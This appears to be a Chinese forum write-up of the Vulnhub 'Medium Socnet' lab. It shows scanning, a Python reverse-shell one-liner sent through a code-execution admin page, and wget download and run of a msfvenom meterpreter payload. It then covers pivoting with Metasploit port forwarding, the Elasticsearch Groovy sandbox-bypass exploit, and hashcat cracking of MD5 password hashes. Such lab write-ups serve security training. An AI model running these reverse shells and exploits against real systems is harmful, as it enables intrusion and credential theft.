Vulnhub之Medium Socnet详细测试过程

鼠扑  金牌会员 | 2023-4-8 14:29:47 | 显示全部楼层 | 阅读模式
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Medium Socnet

识别目标主机IP地址
  1. Currently scanning: Finished!   |   Screen View: Unique Hosts                                                               
  2.                                                                                                                              
  3. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
  4. _____________________________________________________________________________
  5.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  6. -----------------------------------------------------------------------------
  7. 192.168.56.1    0a:00:27:00:00:06      1      60  Unknown vendor                                                            
  8. 192.168.56.100  08:00:27:af:83:c9      1      60  PCS Systemtechnik GmbH                                                   
  9. 192.168.56.254  08:00:27:87:d5:96      1      60  PCS Systemtechnik GmbH      
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利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.254
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Vulnhub/Socnet]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 00:38 EDT
  4. Nmap scan report for www.armour.local (192.168.56.254)
  5. Host is up (0.00029s latency).
  6. Not shown: 65533 closed tcp ports (reset)
  7. PORT     STATE SERVICE VERSION
  8. 22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
  9. | ssh-hostkey:
  10. |   1024 cc5320b810db525f1602bcee572280e1 (DSA)
  11. |   2048 0150f61f32e80dfc48383ec81bac2002 (RSA)
  12. |   256 3bae9abdcbff8f546432ecbf38fdfe6b (ECDSA)
  13. |_  256 774e8b207352a4ee931db385f225d755 (ED25519)
  14. 5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15)
  15. |_http-title: Leave a message
  16. MAC Address: 08:00:27:87:D5:96 (Oracle VirtualBox virtual NIC)
  17. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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NMAP扫描结果表明目标主机有2个开放端口：22（ssh)、5000（http)
获得Shell
  1. ──(kali㉿kali)-[~/Vulnhub/Socnet]
  2. └─$ gobuster dir -u http://192.168.56.254:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh
  3. ===============================================================
  4. Gobuster v3.3
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.254:5000
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.3
  13. [+] Extensions:              js,html,txt,sh,php
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/08 00:44:15 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /admin                (Status: 200) [Size: 401]
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发现了/admin目录，而我们在namp结果知道目标运行Python环境
当输入正确的python代码时,比如print("jason"),返回结果：
  1. Status:
  3. Ran the code
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当故意输入有错误的python代码时，则返回结果：
  1. Status:
  3. Something went wrong with running the code
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因此接下来设法得到反向shell
  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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这里不需要前面的python -c
  1. import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.206",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
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  1. ┌──(kali㉿kali)-[~/Vulnhub/Socnet]
  2. └─$ sudo nc -nlvp 5555                                         
  3. [sudo] password for kali:
  4. listening on [any] 5555 ...
  5. connect to [192.168.56.206] from (UNKNOWN) [192.168.56.254] 39946
  6. /app # id
  7. uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
  8. /app # ip a
  9. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
  10.     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  11.     inet 127.0.0.1/8 scope host lo
  12.        valid_lft forever preferred_lft forever
  13. 4: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
  14.     link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
  15.     inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
  16.        valid_lft forever preferred_lft forever
  17. /app #
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这应该是在容器中。
将编译后的nmap上传到目标容器中
  1. /app # which wget
  2. /usr/bin/wget
  3. /app # cd /tmp
  4. /tmp # wget http://192.168.56.206:8000/nmap
  5. Connecting to 192.168.56.206:8000 (192.168.56.206:8000)
  6. nmap                 100% |*******************************|  5805k  0:00:00 ETA
  8. /tmp # chmod +x nmap
  9. /tmp # ./nmap 172.17.0./16
  10. /tmp # ./nmap 172.17.0.0/24
  12. Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-04-08 05:00 UTC
  13. Unable to find nmap-services!  Resorting to /etc/services
  14. Cannot find nmap-payloads. UDP payloads are disabled.
  15. Nmap scan report for 172.17.0.1
  16. Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
  17. Host is up (0.000042s latency).
  18. Not shown: 1288 closed ports
  19. PORT   STATE SERVICE
  20. 22/tcp open  ssh
  21. MAC Address: 02:42:A1:9D:B7:15 (Unknown)
  23. Nmap scan report for 172.17.0.3
  24. Host is up (0.000044s latency).
  25. Not shown: 1288 closed ports
  26. PORT     STATE SERVICE
  27. 9200/tcp open  wap-wsp
  28. MAC Address: 02:42:AC:11:00:03 (Unknown)
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经过扫描发现172.17.0.3容器开放9200端口，运行elasticsearch服务
接下来利用metasploit工具生成meterpreter会话
  1. ┌──(kali㉿kali)-[~/Vulnhub/Socnet]
  2. └─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.206 LPORT=6666 -f elf -o escalate.elf
  3. [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
  4. [-] No arch selected, selecting arch: x86 from the payload
  5. No encoder specified, outputting raw payload
  6. Payload size: 123 bytes
  7. Final size of elf file: 207 bytes
  8. Saved as: escalate.elf
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将Mesfvenom工具生成的escalate.elf文件上传之目标容器（172.17.0.2）
  1. /tmp # wget http://192.168.56.206:8000/escalate.elf
  2. Connecting to 192.168.56.206:8000 (192.168.56.206:8000)
  3. escalate.elf         100% |*******************************|   207   0:00:00 ETA
  5. /tmp # chmod +x escalate.elf
  6. /tmp # ./escalate.elf
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  1. Module options (exploit/multi/handler):
  3.    Name  Current Setting  Required  Description
  4.    ----  ---------------  --------  -----------
  7. Payload options (linux/x86/meterpreter/reverse_tcp):
  9.    Name   Current Setting  Required  Description
  10.    ----   ---------------  --------  -----------
  11.    LHOST                   yes       The listen address (an interface may be specified)
  12.    LPORT  4444             yes       The listen port
  15. Exploit target:
  17.    Id  Name
  18.    --  ----
  19.    0   Wildcard Target
  23. View the full module info with the info, or info -d command.
  25. msf6 exploit(multi/handler) > set LHOST 192.168.56.206
  26. LHOST => 192.168.56.206
  27. msf6 exploit(multi/handler) > set LPORT 6666
  28. LPORT => 6666
  29. msf6 exploit(multi/handler) > run
  31. [*] Started reverse TCP handler on 192.168.56.206:6666
  32. [*] Sending stage (1017704 bytes) to 192.168.56.254
  33. [*] Meterpreter session 1 opened (192.168.56.206:6666 -> 192.168.56.254:53521) at 2023-04-08 01:11:37 -0400
  35. meterpreter >
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在Kali Linux上成功得到meterpreter会话，接下里建立端口转发，到172.17.0.3的elasticservice端口
  1. meterpreter > run autoroute -s 172.17.0.0/16
  2. meterpreter > portfwd add -l 9200 -p 9200 -r 172.17.0.3
  3. [*] Forward TCP relay created: (local) :9200 -> (remote) 172.17.0.3:9200
  4. meterpreter > background
  5. [*] Backgrounding session 1...
  6. msf6 exploit(multi/handler) > search elasticsearch
  8. Matching Modules
  9. ================
  11.    #  Name                                              Disclosure Date  Rank       Check  Description
  12.    -  ----                                              ---------------  ----       -----  -----------
  13.    0  exploit/multi/elasticsearch/script_mvel_rce       2013-12-09       excellent  Yes    ElasticSearch Dynamic Script Arbitrary Java Execution
  14.    1  auxiliary/scanner/elasticsearch/indices_enum                       normal     No     ElasticSearch Indices Enumeration Utility
  15.    2  exploit/multi/elasticsearch/search_groovy_script  2015-02-11       excellent  Yes    ElasticSearch Search Groovy Sandbox Bypass
  16.    3  auxiliary/scanner/http/elasticsearch_traversal                     normal     Yes    ElasticSearch Snapshot API Directory Traversal
  17.    4  exploit/multi/misc/xdh_x_exec                     2015-12-04       excellent  Yes    Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
  20. Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/misc/xdh_x_exec
  22. msf6 exploit(multi/handler) > use exploit/multi/elasticsearch/search_groovy_script
  23. [*] No payload configured, defaulting to java/meterpreter/reverse_tcp
  24. msf6 exploit(multi/elasticsearch/search_groovy_script) > show options
  26. Module options (exploit/multi/elasticsearch/search_groovy_script):
  28.    Name       Current Setting  Required  Description
  29.    ----       ---------------  --------  -----------
  30.    Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  31.    RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
  32.                                          ing-metasploit.html
  33.    RPORT      9200             yes       The target port (TCP)
  34.    SSL        false            no        Negotiate SSL/TLS for outgoing connections
  35.    TARGETURI  /                yes       The path to the ElasticSearch REST API
  36.    VHOST                       no        HTTP server virtual host
  39. Payload options (java/meterpreter/reverse_tcp):
  41.    Name   Current Setting  Required  Description
  42.    ----   ---------------  --------  -----------
  43.    LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
  44.    LPORT  4444             yes       The listen port
  47. Exploit target:
  49.    Id  Name
  50.    --  ----
  51.    0   ElasticSearch 1.4.2
  55. View the full module info with the info, or info -d command.
  57. msf6 exploit(multi/elasticsearch/search_groovy_script) > set RHOSTS localhost
  58. RHOSTS => localhost
  59. msf6 exploit(multi/elasticsearch/search_groovy_script) > set LHOST 192.168.56.206
  60. LHOST => 192.168.56.206
  61. msf6 exploit(multi/elasticsearch/search_groovy_script) > set LPORT 8888
  62. LPORT => 8888
  63. msf6 exploit(multi/elasticsearch/search_groovy_script) > run
  64. [*] Exploiting target 0.0.0.1
  66. [*] Started reverse TCP handler on 192.168.56.206:8888
  67. [*] Checking vulnerability...
  68. [-] Exploit aborted due to failure: unknown: 0.0.0.1:9200 - Java has not been executed, aborting...
  69. [*] Exploiting target 127.0.0.1
  70. [*] Started reverse TCP handler on 192.168.56.206:8888
  71. [*] Checking vulnerability...
  72. [*] Discovering TEMP path...
  73. [+] TEMP path on '/tmp'
  74. [*] Discovering remote OS...
  75. [+] Remote OS is 'Linux'
  76. [*] Trying to load metasploit payload...
  77. [*] Sending stage (58829 bytes) to 192.168.56.254
  78. [+] Deleted /tmp/IVCQL.jar
  79. [*] Meterpreter session 2 opened (192.168.56.206:8888 -> 192.168.56.254:55487) at 2023-04-08 01:17:49 -0400
  80. [*] Session 2 created in the background.
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  1. msf6 exploit(multi/elasticsearch/search_groovy_script) > sessions -l
  3. Active sessions
  4. ===============
  6.   Id  Name  Type                    Information          Connection
  7.   --  ----  ----                    -----------          ----------
  8.   1         meterpreter x86/linux   root @ 172.17.0.2    192.168.56.206:6666 -> 192.168.56.254:53521 (172.17.0.2)
  9.   2         meterpreter java/linux  root @ 2c3ee4ccef61  192.168.56.206:8888 -> 192.168.56.254:55487 (127.0.0.1)
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在172.17.0.3的shell中发现文件passwords
  1. cat passwords
  2. Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
  3. Example: 1234abcd
  4. john:3f8184a7343664553fcb5337a3138814
  5. test:861f194e9d6118f3d942a72be3e51749
  6. admin:670c3bbc209a18dde5446e5e6c1f1d5b
  7. root:b3d34352fc26117979deabdf1b9b6354
  8. jane:5c158b60ed97c723b673529b8a3cf72b
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并且给出了密码的格式：
number,number,number,number,lowercase,lowercase,lowercase,lowercase
数字数字数字数字数字小写字母小写字母小写字母
接下里用hashcat进行破解
  1. (kali㉿kali)-[~/Vulnhub/Socnet]
  2. └─$ hashcat --username -m 0 -a 3 hashes  -1 ?d -2 ?l ?1?1?1?1?2?2?2?2 --force
  3. 5c158b60ed97c723b673529b8a3cf72b:1234jane                 
  4. b3d34352fc26117979deabdf1b9b6354:1234pass                 
  5. 670c3bbc209a18dde5446e5e6c1f1d5b:1111pass                 
  6. 861f194e9d6118f3d942a72be3e51749:1234test      
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